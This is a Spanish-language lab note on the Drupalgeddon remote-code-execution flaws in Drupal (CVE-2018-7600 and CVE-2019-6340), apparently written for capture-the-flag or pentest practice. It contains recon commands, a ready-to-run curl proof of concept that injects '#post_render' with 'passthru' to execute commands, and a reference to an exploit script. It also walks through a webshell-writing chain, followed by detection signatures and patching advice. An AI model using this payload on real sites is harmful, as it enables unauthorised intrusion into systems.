Drupalgeddon (Drupal RCE)

Drupalgeddon es el nombre popular de una familia de vulnerabilidades de ejecución remota de código (RCE) en el CMS Drupal. Las dos más explotadas en cajas de laboratorio son Drupalgeddon2 (CVE-2018-7600) y el fallo del módulo Services (CVE-2019-6340). Ambas convierten un Drupal desactualizado en una shell sin necesidad de credenciales.

Identificación

whatweb http://<ip>/                          # detecta el CMS
droopescan scan drupal -u http://<ip>/        # version + modulos
curl -s http://<ip>/CHANGELOG.txt | head       # confirma la version exacta
searchsploit drupal 7                          # CVE segun version

La versión exacta (visible en CHANGELOG.txt si está accesible) decide qué CVE aplica.

Drupalgeddon2 (CVE-2018-7600)

RCE directo en el core de Drupal (< 7.58, < 8.5.1 y ramas intermedias). El fallo está en el saneamiento incompleto de los Render Arrays, las estructuras con las que Drupal construye sus respuestas. El atacante inyecta propiedades especiales (#post_render, #lazy_builder, #pre_render) a través de parámetros de formulario procesados por AJAX; al renderizarlas, Drupal invoca la función del sistema indicada (passthru, exec) con el payload como argumento. Es un exploit "de botón":

# PoC directo (Drupal 7, endpoint user/password via AJAX)
curl -s 'http://<ip>/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id' \
  --data 'form_id=user_pass&_triggering_element_name=name' | tail
# o herramientas: drupwn / drupalgeddon2.rb
ruby drupalgeddon2.rb http://<ip>/

Services module (CVE-2019-6340)

Afecta a sitios con el módulo Services y algún campo no saneado. Cadena de dos fases: una deserialización insegura en el login del módulo inyecta un objeto PHP que deriva en una SQLi; con ella se roba el cache serializado de la configuración del endpoint, se manipula y se reinyecta (cache poisoning) para que el callback pase a ser file_put_contents(), escribiendo una webshell. La clave práctica es descubrir el nombre del endpoint REST: en Drupal todo el contenido cuelga de /node/<id>, y enumerar esos nodos suele revelar la ruta real.

Cómo detectarlo. La firma de Drupalgeddon2 en el log de acceso es inconfundible: parámetros con # (o su codificación %23) como name[#post_render], #lazy_builder, #markup, que ningún formulario legítimo envía; un WAF con reglas para Drupalgeddon los bloquea. En el host, el proceso web (apache2/php-fpm) lanzando sh/bash/id como hijo tras una petición a user/password o a un endpoint REST es la confirmación (auditd/Sysmon for Linux). Para CVE-2019-6340, un POST a un endpoint REST con Content-Type: application/hal+json y un objeto anidado sospechoso, seguido de la aparición de un .php nuevo en el webroot (FIM), cierra la cadena.

Defensa. Mantener Drupal y sus módulos actualizados (ambos fallos tienen parche desde hace años); deshabilitar y desinstalar módulos que no se usen (como Services); restringir el acceso a CHANGELOG.txt y demás ficheros de versión; aplicar un WAF como mitigación temporal. En despliegues sobre Windows/IIS el proceso web suele tener SeImpersonatePrivilege, así que un RCE aquí encadena con abuso de SeImpersonate; en Linux, con la enumeración de privesc habitual.